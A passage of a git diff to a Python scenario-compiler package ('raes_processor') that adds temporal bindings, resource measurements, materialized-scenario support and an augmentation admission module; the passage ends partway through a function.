- *authority_anchor_addresses, - *operating_scope_addresses, - *interactive_access_addresses, - ] ) - participant_behaviors[_participant_behavior_address(name)] = ParticipantBehaviorRuntime( - address=_participant_behavior_address(name), - name=name, - participant_name=name, - entity_name=agent.entity, - starting_account_refs=starting_account_refs, - starting_account_addresses=starting_account_addresses, - initial_knowledge_addresses=initial_knowledge_addresses, - starting_assertion_refs=starting_assertion_refs, - starting_assertion_addresses=starting_assertion_addresses, - authority_anchor_refs=authority_anchor_refs, - authority_anchor_addresses=authority_anchor_addresses, - operating_scope_refs=operating_scope_refs, - operating_scope_addresses=operating_scope_addresses, - action_contract_addresses=tuple(action_addresses), - observation_boundary_addresses=tuple(observation_addresses), - interactive_access=tuple(interactive_access), - refresh_dependencies=dependency_addresses, - spec={"agent": _dump(agent), "interpretation_mode": "role-neutral-projection"}, - ) - return participant_behaviors + addresses.extend(target_addresses) + addresses.extend(account_addresses) + return interactive_access, addresses def _resolve_behavior_spec_refs( @@ -222,11 +251,13 @@ def _compile_behavior_specifications( ) -> dict[str, ParticipantBehaviorSpecificationRuntime]: behavior_specifications: dict[str, ParticipantBehaviorSpecificationRuntime] = {} addressable_ref_index = _runtime_addressable_ref_index(scenario) + entities = flatten_entities(scenario.entities) + roles = {name: agent.effective_role(entities) for name, agent in scenario.agents.items()} for name, behavior_spec in scenario.behavior_specifications.items(): address = _behavior_specification_address(name) spec = _dump(behavior_spec) participant_addresses = _resolve_behavior_spec_refs( - refs=list(behavior_spec.participant_refs), + refs=sorted(select_participants(behavior_spec, set(scenario.agents), roles)), declared=scenario.agents, address_for_ref=_participant_behavior_address, owner_address=address, diff --git a/implementations/python/packages/raes_processor/compiler/participant_temporal.py b/implementations/python/packages/raes_processor/compiler/participant_temporal.py new file mode 100644 index 000000000..56a7f0f21 --- /dev/null +++ b/implementations/python/packages/raes_processor/compiler/participant_temporal.py @@ -0,0 +1,121 @@ +"""Resolve action-local temporal guarantees against shared-time declarations.""" + +import hashlib + +import rfc8785 +from raes.scenario import InstantiatedScenario +from raes_contracts.contracts.participant_temporal import ParticipantTemporalBindingModel + +from .addresses import _action_contract_address, _section_ref_name +from .support import _address, _dump + + +def compile_participant_temporal_bindings( + scenario: InstantiatedScenario, + action_refs: list[str], +) -> tuple[ParticipantTemporalBindingModel, ...]: + """Preserve explicit identity; never infer a binding from legacy strings.""" + + bindings: list[ParticipantTemporalBindingModel] = [] + for action_ref in dict.fromkeys(action_refs): + action_name = _section_ref_name(action_ref, "action_contracts", scenario.action_contracts) + bindings.extend(_compile_action_bindings(scenario, action_name)) + return tuple(bindings) + + +def _compile_action_bindings( + scenario: InstantiatedScenario, + action_name: str, +) -> list[ParticipantTemporalBindingModel]: + return [ + _compile_temporal_binding(scenario, action_name, temporal) + for temporal in scenario.action_contracts[action_name].temporal_contracts + if temporal.shared_time_binding is not None + ] + + +def _compile_temporal_binding( + scenario: InstantiatedScenario, + action_name: str, + temporal: object, +) -> ParticipantTemporalBindingModel: + authored = temporal.shared_time_binding + clock_name = _section_ref_name(authored.clock_ref, "clocks", scenario.clocks) + constraint_name = _section_ref_name(authored.constraint_ref, "temporal_constraints", scenario.temporal_constraints) + clock = scenario.clocks[clock_name] + constraint = scenario.temporal_constraints[constraint_name] + domain_name = _section_ref_name(clock.time_domain_ref, "time_domains", scenario.time_domains) + boundary_name = _boundary_name(scenario, authored) + digest = _binding_digest(scenario, action_name, temporal, clock, constraint, domain_name, boundary_name) + return ParticipantTemporalBindingModel( + action_contract_address=_action_contract_address(action_name), + temporal_id=temporal.temporal_id, + temporal_kind=temporal.temporal_kind.value, + clock_address=_address("time", "clock", clock_name), + constraint_address=_address("time", "constraint", constraint_name), + event_point=authored.event_point, + evidence_mode=authored.evidence_mode, + end=constraint.end.model_dump(), + start=constraint.start.model_dump() if constraint.start is not None else None, + condition_precondition_id=authored.condition_precondition_id, + observation_boundary_address=_observation_boundary_address(boundary_name), + contract_digest=digest, + time_domain=temporal.time_domain.value, + clock_authority=temporal.clock_authority, + event_points=tuple(point.value for point in temporal.event_points), + backend_disclosure_refs=tuple(temporal.backend_disclosure_refs), + reset_boundary=temporal.reset_boundary, + replay_boundary=temporal.replay_boundary, + ) + + +def _boundary_name(scenario: InstantiatedScenario, authored: object) -> str | None: + if authored.observation_boundary_ref is None: + return None + return _section_ref_name( + authored.observation_boundary_ref, + "observation_boundaries", + scenario.observation_boundaries, + ) + + +def _binding_digest( + scenario: InstantiatedScenario, + action_name: str, + temporal: object, + clock: object, + constraint: object, + domain_name: str, + boundary_name: str | None, +) -> str: + payload = { + "action": _action_contract_address(action_name), + "temporal_contract": _dump(temporal), + "clock": _dump(clock), + "time_domain": _dump(scenario.time_domains[domain_name]), + "constraint": _dump(constraint), + } + if boundary_name is not None: + payload.update(_boundary_digest_fields(scenario, action_name, temporal.shared_time_binding, boundary_name)) + return "sha256:" + hashlib.sha256(rfc8785.dumps(payload)).hexdigest() + + +def _boundary_digest_fields( + scenario: InstantiatedScenario, + action_name: str, + authored: object, + boundary_name: str, +) -> dict[str, object]: + condition = next( + precondition + for precondition in scenario.action_contracts[action_name].preconditions + if precondition.precondition_id == authored.condition_precondition_id + ) + return { + "observation_boundary": _dump(scenario.observation_boundaries[boundary_name]), + "condition": _dump(condition), + } + + +def _observation_boundary_address(boundary_name: str | None) -> str | None: + return _address("participant", "observation-boundary", boundary_name) if boundary_name is not None else None diff --git a/implementations/python/packages/raes_processor/compiler/pipeline.py b/implementations/python/packages/raes_processor/compiler/pipeline.py index 1295fb543..34913cf40 100644 --- a/implementations/python/packages/raes_processor/compiler/pipeline.py +++ b/implementations/python/packages/raes_processor/compiler/pipeline.py @@ -4,6 +4,7 @@ from raes import build_declaration_index from raes.instantiate import admit_instantiated_scenario, instantiate_scenario +from raes.materialization import MaterializedScenario, admit_materialized_scenario from raes.scenario import ExpandedScenario, InstantiatedScenario, Scenario from raes.semantics.domain_topology import ( analyze_domain_topology, @@ -58,7 +59,7 @@ def compile_scenario_runtime_model( - scenario: Scenario | ExpandedScenario | InstantiatedScenario, + scenario: Scenario | ExpandedScenario | InstantiatedScenario | MaterializedScenario, *, parameters: Mapping[str, object] | None = None, profile: str | None = None, @@ -68,7 +69,7 @@ def compile_scenario_runtime_model( concrete_scenario = ( scenario - if isinstance(scenario, InstantiatedScenario) + if isinstance(scenario, (InstantiatedScenario, MaterializedScenario)) else instantiate_scenario(scenario, parameters=parameters, profile=profile) ) return compile_runtime_model(concrete_scenario, profile_authority=profile_authority) @@ -102,8 +103,12 @@ def _compiled_structure_parts( "agent_specs": agent_specs, "relationship_specs": relationship_specs, "time_model": compile_time_model(scenario), - "capability_constraints": _compile_capability_constraints(scenario), - "capture_demands": compile_scenario_capture_demands(scenario), + "capability_constraints": _compile_capability_constraints(scenario) + if isinstance(scenario, InstantiatedScenario) + else (), + "capture_demands": compile_scenario_capture_demands(scenario) + if isinstance(scenario, InstantiatedScenario) + else (), "networks": networks, "node_deployments": node_deployments, "feature_bindings": _compile_feature_bindings(scenario, feature_templates, diagnostics), @@ -132,7 +137,10 @@ def _compiled_behavior_parts( """Compile behaviour, narrative, and realization over the compiled structure.""" assertions = _compile_assertions(scenario) - realization_requirements, realization_authority = _compile_realization(scenario, domain_analysis) + descriptive = isinstance(scenario, MaterializedScenario) + realization_requirements, realization_authority = ( + ((), ()) if descriptive else _compile_realization(scenario, domain_analysis) + ) return { "assertions": assertions, "action_contracts": _compile_action_contracts(scenario), @@ -151,23 +159,26 @@ def _compiled_behavior_parts( "workflows": _compile_workflows(scenario, assertions, diagnostics), "realization_requirements": realization_requirements, "realization_authority": realization_authority, - "observation_demands": compile_observation_demands(scenario, declaration_index=declaration_index), + "observation_demands": () + if descriptive + else compile_observation_demands(scenario, declaration_index=declaration_index), } def compile_runtime_model( - scenario: Scenario | ExpandedScenario | InstantiatedScenario, + scenario: Scenario | ExpandedScenario | InstantiatedScenario | MaterializedScenario, *, profile_authority: PlanProfileAuthority | None = None, ) -> RuntimeModel: """Compile an SDL scenario into bound runtime objects.""" authority = _admitted_profile_authority(profile_authority) - scenario = ( - admit_instantiated_scenario(scenario) - if isinstance(scenario, InstantiatedScenario) - else instantiate_scenario(scenario) - ) + if isinstance(scenario, MaterializedScenario): + scenario = admit_materialized_scenario(scenario) + elif isinstance(scenario, InstantiatedScenario): + scenario = admit_instantiated_scenario(scenario) + else: + scenario = instantiate_scenario(scenario) declaration_index = build_declaration_index(scenario) authority = compile_software_profiles(scenario, authority) diagnostics: list[Diagnostic] = [] @@ -189,7 +200,8 @@ def compile_runtime_model( return RuntimeModel( scenario_name=scenario.name, profile_authority=authority, - realization_instance=scenario, + realization_instance=scenario if isinstance(scenario, InstantiatedScenario) else None, + materialization_description=scenario if isinstance(scenario, MaterializedScenario) else None, diagnostics=diagnostics, **structure, **behavior, diff --git a/implementations/python/packages/raes_processor/models/action_results.py b/implementations/python/packages/raes_processor/models/action_results.py index dcedea2d2..cf19ff5af 100644 --- a/implementations/python/packages/raes_processor/models/action_results.py +++ b/implementations/python/packages/raes_processor/models/action_results.py @@ -5,6 +5,8 @@ from typing import Any from raes.participant_behavior import ParticipantEffectClass, ParticipantFailureClass, ParticipantPreconditionClass +from raes_contracts.contracts.participant_resource_budgets import ParticipantResourceMeasurementModel +from raes_contracts.contracts.participant_temporal import ParticipantTemporalEvidenceModel from raes_contracts.participant_behavior import ParticipantActionPreconditionStatus, ParticipantActionResultStatus from .behavior_resources import ( @@ -254,6 +256,8 @@ class ParticipantActionResult: observations: tuple[str, ...] = () evidence_refs: tuple[str, ...] = () diagnostics: tuple[str, ...] = () + temporal_evidence: tuple[ParticipantTemporalEvidenceModel, ...] = () + resource_measurements: tuple[ParticipantResourceMeasurementModel, ...] = () @classmethod def from_payload(cls, payload: Mapping[str, Any]) -> "ParticipantActionResult": @@ -268,6 +272,13 @@ def from_payload(cls, payload: Mapping[str, Any]) -> "ParticipantActionResult": _ensure_iterable_of_item_payloads(effects_raw, "effects must be a list of participant action effect results") return cls( status=_coerce_action_result_status(status_raw), + temporal_evidence=tuple( + ParticipantTemporalEvidenceModel.model_validate(item) for item in payload.get("temporal_evidence", ()) + ), + resource_measurements=tuple( + ParticipantResourceMeasurementModel.model_validate(item) + for item in payload.get("resource_measurements", ()) + ), participant_address=str(payload.get("participant_address")), episode_id=str(payload.get("episode_id")), action_instance_id=str(payload.get("action_instance_id")), @@ -284,6 +295,21 @@ def from_payload(cls, payload: Mapping[str, Any]) -> "ParticipantActionResult": def to_payload(self) -> dict[str, Any]: return { "status": self.status.value, + **( + { + "temporal_evidence": [ + item.model_dump(mode="json", exclude_none=True, exclude_defaults=True) + for item in self.temporal_evidence + ] + } + if self.temporal_evidence + else {} + ), + **( + {"resource_measurements": [item.model_dump(mode="json") for item in self.resource_measurements]} + if self.resource_measurements + else {} + ), "participant_address": self.participant_address, "episode_id": self.episode_id, "action_instance_id": self.action_instance_id, @@ -306,6 +332,16 @@ def __post_init__(self) -> None: self._validate_fail_closed() def _validate_identity_fields(self) -> None: + if not isinstance(self.resource_measurements, tuple) or any( + not isinstance(item, ParticipantResourceMeasurementModel) for item in self.resource_measurements + ): + raise TypeError("resource_measurements must contain typed resource measurements") + if len({item.budget_state_ref for item in self.resource_measurements}) != len(self.resource_measurements): + raise ValueError("resource measurements require unique budget state refs") + if not isinstance(self.temporal_evidence, tuple) or any( + not isinstance(item, ParticipantTemporalEvidenceModel) for item in self.temporal_evidence + ): + raise TypeError("temporal_evidence must contain typed temporal evidence") if not isinstance(self.status, ParticipantActionResultStatus): raise TypeError("status must be a ParticipantActionResultStatus") _validate_required_string( diff --git a/implementations/python/packages/raes_processor/models/behavior_resources.py b/implementations/python/packages/raes_processor/models/behavior_resources.py index 47c0e6c81..c35239775 100644 --- a/implementations/python/packages/raes_processor/models/behavior_resources.py +++ b/implementations/python/packages/raes_processor/models/behavior_resources.py @@ -6,6 +6,7 @@ from raes.semantics.workflow import WorkflowStepSemanticContract from raes_backend_protocols.capabilities import WorkflowFeature, WorkflowStatePredicateFeature +from raes_contracts.contracts.participant_temporal import ParticipantTemporalBindingModel from raes_contracts.domain_profiles import DomainProfileBindingModel from raes_contracts.participant_behavior import ParticipantObservationStatus from raes_contracts.versions import WORKFLOW_STATE_SCHEMA_VERSION @@ -73,7 +74,8 @@ class ParticipantBehaviorRuntime(ResolvedResource): """Compiled role-neutral participant behavior binding.""" participant_name: str = "" - entity_name: str = "" + affiliation_names: tuple[str, ...] = () + role: str = "" starting_account_refs: tuple[str, ...] = () starting_account_addresses: tuple[str, ...] = () initial_knowledge_addresses: tuple[str, ...] = () @@ -84,6 +86,7 @@ class ParticipantBehaviorRuntime(ResolvedResource): operating_scope_refs: tuple[str, ...] = () operating_scope_addresses: tuple[str, ...] = () action_contract_addresses: tuple[str, ...] = () + temporally_bound_action_addresses: tuple[str, ...] = () observation_boundary_addresses: tuple[str, ...] = () interactive_access: tuple[ParticipantInteractiveAccessRuntime, ...] = () interpretation_mode: str = "role-neutral-projection" @@ -122,6 +125,7 @@ class ParticipantAutonomousExecutionRuntime(ResolvedResource): target_addresses: tuple[str, ...] = () execution_bindings: tuple[ParticipantExecutionBindingRuntime, ...] = () observation_boundary_address: str = "" + observation_boundary_evidence_refs: tuple[str, ...] = () selection_strategy: str = "" max_action_attempts: int = 0 max_in_flight: int = 0 @@ -150,6 +154,7 @@ class ParticipantAutonomousExecutionRuntime(ResolvedResource): resource_owners: tuple[ParticipantResourceOwnerRuntime, ...] = () resource_demands: tuple[ParticipantResourceDemandRuntime, ...] = () resource_fairness: ParticipantResourceFairnessRuntime = field(default_factory=ParticipantResourceFairnessRuntime) + temporal_bindings: tuple[ParticipantTemporalBindingModel, ...] = () @dataclass(frozen=True) diff --git a/implementations/python/packages/raes_processor/models/history_event.py b/implementations/python/packages/raes_processor/models/history_event.py index cf5c88527..d00dcf621 100644 --- a/implementations/python/packages/raes_processor/models/history_event.py +++ b/implementations/python/packages/raes_processor/models/history_event.py @@ -9,6 +9,7 @@ ParticipantAttributionCandidateKind, ) from raes.participant_behavior import ParticipantInteractionClass +from raes_contracts.contracts.participant_temporal import ParticipantTemporalAssessmentModel from raes_contracts.participant_behavior import ( ParticipantActionResultStatus, ParticipantAdmissionDisposition, @@ -28,7 +29,7 @@ _optional_payload_string, _participant_observation_status_from_payload, ) -from .history_event_grounding import _event_attribution_grounded_refs, _optional_enum_value +from .history_event_grounding import _event_attribution_grounded_refs from .history_event_payloads import ( _participant_action_result_from_payload, _participant_admission_disposition_from_payload, @@ -42,6 +43,7 @@ _participant_phase_realization_from_payload, _participant_temporal_contexts_from_payload, ) +from .history_event_serialization import participant_history_event_payload from .outcome import ParticipantOutcomeInterpretationRecord, _participant_outcome_interpretation_records_from_payload from .resources import _PARTICIPANT_ACTION_CONTRACT_PREFIX, _PARTICIPANT_OBSERVATION_BOUNDARY_PREFIX from .temporal import ParticipantTemporalRuntimeContext @@ -82,6 +84,7 @@ class ParticipantBehaviorHistoryEvent: attribution_edges: tuple[ParticipantAttributionEdge, ...] = () outcome_interpretations: tuple[ParticipantOutcomeInterpretationRecord, ...] = () temporal_contexts: tuple[ParticipantTemporalRuntimeContext, ...] = () + temporal_assessments: tuple[ParticipantTemporalAssessmentModel, ...] = () details: dict[str, Any] = field(default_factory=dict) @classmethod @@ -136,38 +139,15 @@ def from_payload( payload.get("outcome_interpretations", ()) ), temporal_contexts=_participant_temporal_contexts_from_payload(payload.get("temporal_contexts", ())), + temporal_assessments=tuple( + ParticipantTemporalAssessmentModel.model_validate(item) + for item in payload.get("temporal_assessments", ()) + ), details=_participant_behavior_details_from_payload(payload.get("details", {})), ) def to_payload(self) -> dict[str, Any]: - return { - "event_type": self.event_type.value, - "timestamp": self.timestamp, - "participant_address": self.participant_address, - "episode_id": self.episode_id, - "action_instance_id": self.action_instance_id, - "action_contract_address": self.action_contract_address, - "observation_boundary_address": self.observation_boundary_address, - "observation_status": _optional_enum_value(self.observation_status), - "actor_provenance": self.actor_provenance, - "lifecycle_phase": _optional_enum_value(self.lifecycle_phase), - "phase_realization": _optional_enum_value(self.phase_realization), - "admission_disposition": _optional_enum_value(self.admission_disposition), - "operation_ref": self.operation_ref, - "operation_state": _optional_enum_value(self.operation_state), - "state_transition_kind": self.state_transition_kind, - "post_state_digest": self.post_state_digest, - "joint_action_set_id": self.joint_action_set_id, - "realized_order": self.realized_order, - "interaction_class": _optional_enum_value(self.interaction_class), - "interaction_ref": self.interaction_ref, - "shared_state_refs": list(self.shared_state_refs), - "action_result": self.action_result.to_payload() if self.action_result is not None else None, - "attribution_edges": [edge.to_payload() for edge in self.attribution_edges], - "outcome_interpretations": [record.to_payload() for record in self.outcome_interpretations], - "temporal_contexts": [context.to_payload() for context in self.temporal_contexts], - "details": dict(self.details), - } + return participant_history_event_payload(self) def __post_init__(self) -> None: self._validate_common_fields() @@ -309,6 +289,10 @@ def _validate_outcome_interpretation_types(self) -> None: raise ValueError("participant outcome interpretations are only allowed on observation_emitted events") def _validate_temporal_context_types(self) -> None: + if not isinstance(self.temporal_assessments, tuple) or any( + not isinstance(item, ParticipantTemporalAssessmentModel) for item in self.temporal_assessments + ): + raise TypeError("temporal_assessments must contain typed temporal assessments") if not isinstance(self.temporal_contexts, tuple): raise TypeError("temporal_contexts must be a tuple") if any(not isinstance(context, ParticipantTemporalRuntimeContext) for context in self.temporal_contexts): diff --git a/implementations/python/packages/raes_processor/models/history_event_serialization.py b/implementations/python/packages/raes_processor/models/history_event_serialization.py new file mode 100644 index 000000000..4b4dc3551 --- /dev/null +++ b/implementations/python/packages/raes_processor/models/history_event_serialization.py @@ -0,0 +1,46 @@ +"""Payload serialization for normalized participant history events.""" + +from typing import Any + + +def participant_history_event_payload(event: object) -> dict[str, Any]: + """Project one normalized event into its durable payload form.""" + + return { + "event_type": event.event_type.value, + "timestamp": event.timestamp, + "participant_address": event.participant_address, + "episode_id": event.episode_id, + "action_instance_id": event.action_instance_id, + "action_contract_address": event.action_contract_address, + "observation_boundary_address": event.observation_boundary_address, + "observation_status": event.observation_status.value if event.observation_status else None, + "actor_provenance": event.actor_provenance, + "lifecycle_phase": event.lifecycle_phase.value if event.lifecycle_phase else None, + "phase_realization": event.phase_realization.value if event.phase_realization else None, + "admission_disposition": event.admission_disposition.value if event.admission_disposition else None, + "operation_ref": event.operation_ref, + "operation_state": event.operation_state.value if event.operation_state else None, + "state_transition_kind": event.state_transition_kind, + "post_state_digest": event.post_state_digest, + "joint_action_set_id": event.joint_action_set_id, + "realized_order": event.realized_order, + "interaction_class": event.interaction_class.value if event.interaction_class else None, + "interaction_ref": event.interaction_ref, + "shared_state_refs": list(event.shared_state_refs), + "action_result": event.action_result.to_payload() if event.action_result else None, + "attribution_edges": [edge.to_payload() for edge in event.attribution_edges], + "outcome_interpretations": [record.to_payload() for record in event.outcome_interpretations], + "temporal_contexts": [context.to_payload() for context in event.temporal_contexts], + **( + { + "temporal_assessments": [ + item.model_dump(mode="json", exclude_none=True, exclude_defaults=True) + for item in event.temporal_assessments + ] + } + if event.temporal_assessments + else {} + ), + "details": dict(event.details), + } diff --git a/implementations/python/packages/raes_processor/models/runtime_model.py b/implementations/python/packages/raes_processor/models/runtime_model.py index bac27022d..c031b4ca6 100644 --- a/implementations/python/packages/raes_processor/models/runtime_model.py +++ b/implementations/python/packages/raes_processor/models/runtime_model.py @@ -3,6 +3,7 @@ from dataclasses import asdict, dataclass, field from typing import Any +from raes.materialization import MaterializedScenario from raes.scenario import InstantiatedScenario from raes_backend_protocols.capabilities import BackendManifest from raes_contracts.addressing import require_compiled_address @@ -55,8 +56,9 @@ class ObjectiveRuntime(ResolvedResource): """Resolved objective node.""" - actor_type: str = "" - actor_name: str = "" + owner_name: str = "" + assigned_participant_name: str = "" + assigned_participant_address: str = "" success_addresses: tuple[str, ...] = () objective_dependencies: tuple[str, ...] = () window_story_addresses: tuple[str, ...] = () @@ -155,6 +157,7 @@ class RuntimeModel: # portable ProvisioningPlan authority collection. realization_authority: tuple[CompiledRealizationAuthority, ...] = () realization_instance: InstantiatedScenario | None = None + materialization_description: MaterializedScenario | None = None observation_demands: tuple[EffectiveObservationDemand, ...] = () profile_authority: PlanProfileAuthority | None = None diff --git a/implementations/python/packages/raes_processor/models/temporal.py b/implementations/python/packages/raes_processor/models/temporal.py index bb22998f9..5b7dd61bd 100644 --- a/implementations/python/packages/raes_processor/models/temporal.py +++ b/implementations/python/packages/raes_processor/models/temporal.py @@ -9,6 +9,7 @@ ParticipantTemporalState, ParticipantTimeDomain, ) +from raes_contracts.contracts.participant_temporal import ParticipantTemporalExecutionContextModel from .behavior_resources import ( _optional_payload_string, @@ -59,6 +60,7 @@ class ParticipantTemporalRuntimeContext: backend_disclosure_refs: tuple[str, ...] = () reset_boundary: str | None = None replay_boundary: str | None = None + shared_time: ParticipantTemporalExecutionContextModel | None = None @classmethod def from_payload(cls, payload: Mapping[str, Any]) -> "ParticipantTemporalRuntimeContext": @@ -89,6 +91,9 @@ def from_payload(cls, payload: Mapping[str, Any]) -> "ParticipantTemporalRuntime ), reset_boundary=_optional_payload_string(payload, "reset_boundary"), replay_boundary=_optional_payload_string(payload, "replay_boundary"), + shared_time=ParticipantTemporalExecutionContextModel.model_validate(payload["shared_time"]) + if payload.get("shared_time") is not None + else None, ) def to_payload(self) -> dict[str, Any]: @@ -101,9 +106,16 @@ def to_payload(self) -> dict[str, Any]: "backend_disclosure_refs": list(self.backend_disclosure_refs), "reset_boundary": self.reset_boundary, "replay_boundary": self.replay_boundary, + **( + {"shared_time": self.shared_time.model_dump(mode="json", exclude_none=True, exclude_defaults=True)} + if self.shared_time is not None + else {} + ), } def __post_init__(self) -> None: + if self.shared_time is not None and not isinstance(self.shared_time, ParticipantTemporalExecutionContextModel): + raise TypeError("shared_time must be a typed temporal execution context") _validate_required_string( self.temporal_contract_id, "participant temporal temporal_contract_id must be a non-empty string", diff --git a/implementations/python/packages/raes_processor/participant_opacity/_model_check_admission.py b/implementations/python/packages/raes_processor/participant_opacity/_model_check_admission.py index 8aab36604..cbbd54a0a 100644 --- a/implementations/python/packages/raes_processor/participant_opacity/_model_check_admission.py +++ b/implementations/python/packages/raes_processor/participant_opacity/_model_check_admission.py @@ -9,6 +9,7 @@ ActiveOpacityStrategyModel, BehavioralRelationProfileModel, CoalitionOpacityObserverModel, + ParticipantPredicateOpacityParametersModel, ) from raes_contracts.behavioral_relations import ( BehavioralRelationCatalogModel, @@ -101,6 +102,8 @@ def validate_admission( ) -> None: if request.analysis_profile != ANALYSIS_PROFILE: raise ParticipantOpacityOperationalError("unknown participant-opacity model-check profile") + if not isinstance(profile.parameters, ParticipantPredicateOpacityParametersModel): + raise ParticipantOpacityOperationalError("expected an opacity parameter profile") if request.catalog_digest != _catalog_digest(catalog): raise ParticipantOpacityOperationalError("behavioral catalog digest does not match the transition model") if ( diff --git a/implementations/python/packages/raes_processor/participant_opacity/_service.py b/implementations/python/packages/raes_processor/participant_opacity/_service.py index 7b5aaf354..d9df07312 100644 --- a/implementations/python/packages/raes_processor/participant_opacity/_service.py +++ b/implementations/python/packages/raes_processor/participant_opacity/_service.py @@ -10,6 +10,7 @@ ActiveOpacityStrategyModel, BehavioralRelationProfileModel, CoalitionOpacityObserverModel, + ParticipantPredicateOpacityParametersModel, load_behavioral_relation_profile_revision, ) from raes_contracts.behavioral_relations import ( @@ -72,6 +73,8 @@ def _validate_profile_admission( ) -> None: if request.analysis_profile != ANALYSIS_PROFILE: raise ParticipantOpacityOperationalError("unknown opacity analysis profile") + if not isinstance(profile.parameters, ParticipantPredicateOpacityParametersModel): + raise ParticipantOpacityOperationalError("expected an opacity parameter profile") if ( request.profile_id != profile.profile_id or request.profile_revision != profile.profile_revision diff --git a/implementations/python/packages/raes_processor/planner/__init__.py b/implementations/python/packages/raes_processor/planner/__init__.py index ecdc421a5..4dfba7800 100644 --- a/implementations/python/packages/raes_processor/planner/__init__.py +++ b/implementations/python/packages/raes_processor/planner/__init__.py @@ -3,6 +3,7 @@ from ..semantics.realization import realization_disclosure, sanitize_realization_snapshot from .account_credentials import account_credential_spec_is_valid from .core import plan +from .materialization_admission import admit_materialization_submission, validate_materialization_archive_record from .ordering import snapshot_delete_order from .prepared_node_admission import prepared_node_capability_violation from .prepared_node_projection import sanitize_prepared_node_snapshot @@ -16,6 +17,8 @@ from .stateful_admission import generated_artifact_payload_diagnostic __all__ = [ + "admit_materialization_submission", + "validate_materialization_archive_record", "account_credential_spec_is_valid", "generated_artifact_payload_diagnostic", "plan", diff --git a/implementations/python/packages/raes_processor/planner/augmentation_admission.py b/implementations/python/packages/raes_processor/planner/augmentation_admission.py new file mode 100644 index 000000000..f644750a3 --- /dev/null +++ b/implementations/python/packages/raes_processor/planner/augmentation_admission.py @@ -0,0 +1,262 @@ +"""Evaluate addition permission over the same SDL effects used by attestation.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass, replace +from functools import cache +from typing import TYPE_CHECKING, cast + +from raes import admit_instantiated_scenario, parse_sdl +from raes.observation_scope import semantic_scope_namespace +from raes.prospective_content import admit_prospective_content +from raes.scenario import ScenarioContent +from raes_backend_protocols.manifest import backend_manifest_v2_model +from raes_contracts.augmentation_preparation import ( + AugmentationEffect, + AugmentationPreparation, + augmentation_binding_digest, +) +from raes_contracts.augmentation_scope import ( + AugmentationScopeDecision, + AugmentationScopePolicy, + effective_augmentation_scope, +) +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.json_ingress import parse_bounded_json_object +from raes_contracts.materialization import MATERIALIZATION_MAX_BYTES +from raes_contracts.planning import RealizationAuthorityMode +from raes_contracts.realization_structure import ( + canonical_semantic_address, + semantic_address_contains, + validate_realization_value, +) +from raes_contracts.runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS + +from ..compiler.materialization_origins import ( + compose_materialization_content, + materialization_collection_profiles, + materialization_differences, +) +from ..semantics.realization_concerns import registered_realization_concern_descriptors +from .materialization_admission import validate_materialization_archive_record + +if TYPE_CHECKING: + from raes.materialization_provenance import MaterializationOrigin + from raes_backend_protocols.capabilities import BackendManifest + from raes_contracts.materialization import MaterializationArchive, MaterializationSubmission + from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan + from raes_contracts.runtime_state import RuntimeSnapshot + + +@dataclass(frozen=True) +class AugmentationAdmission: + preparation: AugmentationPreparation + diagnostics: tuple[Diagnostic, ...] + cumulative_content: ScenarioContent | None = None + + @property + def is_valid(self) -> bool: + return not self.diagnostics + + +def validate_actual_augmentation( + submission: MaterializationSubmission, admission: AugmentationAdmission | None +) -> None: + """Actual SDL must match the admitted prospective world, not a widened policy.""" + if admission is None: + return + prospective = admission.cumulative_content or admit_prospective_content( + parse_bounded_json_object(admission.preparation.content, max_bytes=MATERIALIZATION_MAX_BYTES) + ) + actual = parse_sdl(submission.sdl) + if materialization_differences(prospective, actual): + raise ValueError("actual effects differ from admitted prospective SDL") + + +def compose_augmentation_admission( + admission: AugmentationAdmission, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + previous: RuntimeSnapshot, + archive: MaterializationArchive | None, + *, + preceding: ScenarioContent | None = None, +) -> AugmentationAdmission: + """Compose phase-owned changes over the authenticated preceding common SDL.""" + source = request.materialization_source + original = parse_bounded_json_object(source.snapshot, max_bytes=MATERIALIZATION_MAX_BYTES)["scenario"] + original.pop("instantiation_provenance") + original = admit_prospective_content(original) + if preceding is None: + preceding = original + retained = [record for record in previous.materialization_attestations if record.run_id == source.run_id] + if retained: + submission = archive.read(retained[-1]) + validate_materialization_archive_record(submission, retained[-1]) + preceding = parse_sdl(submission.sdl) + provenance = preceding.materialization_provenance + if (provenance.authored_digest.value, provenance.instantiated_digest.value) != ( + source.authored_digest, + source.instantiated_digest, + ): + raise ValueError("preceding materialization does not bind this source") + local = admit_prospective_content( + parse_bounded_json_object(admission.preparation.content, max_bytes=MATERIALIZATION_MAX_BYTES) + ) + return cast( + AugmentationAdmission, + replace(admission, cumulative_content=compose_materialization_content(original, preceding, local)), + ) + + +def admit_augmentation_preparation( + report: AugmentationPreparation, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + manifest: BackendManifest, + previous: RuntimeSnapshot, +) -> AugmentationAdmission: + """Reject incomplete/unbound reports; render refusals only from resolved facts.""" + if not validate_realization_value(report, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS, python_carriers=True).conformant: + raise ValueError("prospective report exceeds portable bounds") + report = AugmentationPreparation.model_validate(report.model_dump(mode="json")) + if report.binding_digest != augmentation_binding_digest(request, backend_manifest_v2_model(manifest), previous): + raise ValueError("augmentation preparation does not bind this source and execution") + original = admit_instantiated_scenario( + parse_bounded_json_object(request.materialization_source.snapshot, max_bytes=MATERIALIZATION_MAX_BYTES)[ + "scenario" + ] + ) + prospective = admit_prospective_content( + parse_bounded_json_object(report.content, max_bytes=MATERIALIZATION_MAX_BYTES) + ) + for field in ("augmentation_scope", "evidence_requirements"): + if getattr(original, field) != getattr(prospective, field): + raise ValueError("prospective content cannot change author policy or evidence requirements") + differences = materialization_differences(original, prospective) + if {item.field_pointer for item in differences} != {item.field_pointer for item in report.effects}: + raise ValueError("prospective effects must exactly cover materialization differences") + source_scope = _scope_resolver(original) + prospective_scope = _scope_resolver(prospective) + policy = _canonical_policy(original.augmentation_scope, source_scope) + effects = {item.field_pointer: item for item in report.effects} + for difference in differences: + effect = effects[difference.field_pointer] + _require_requirement_references(effect.requirement_refs, source_scope) + resolve = source_scope if difference.change == "removed" else prospective_scope + locations = tuple(resolve(scope) for scope in (difference.field_pointer, *effect.affected_scopes)) + failures = _effect_diagnostics( + effect, + difference, + locations, + policy, + 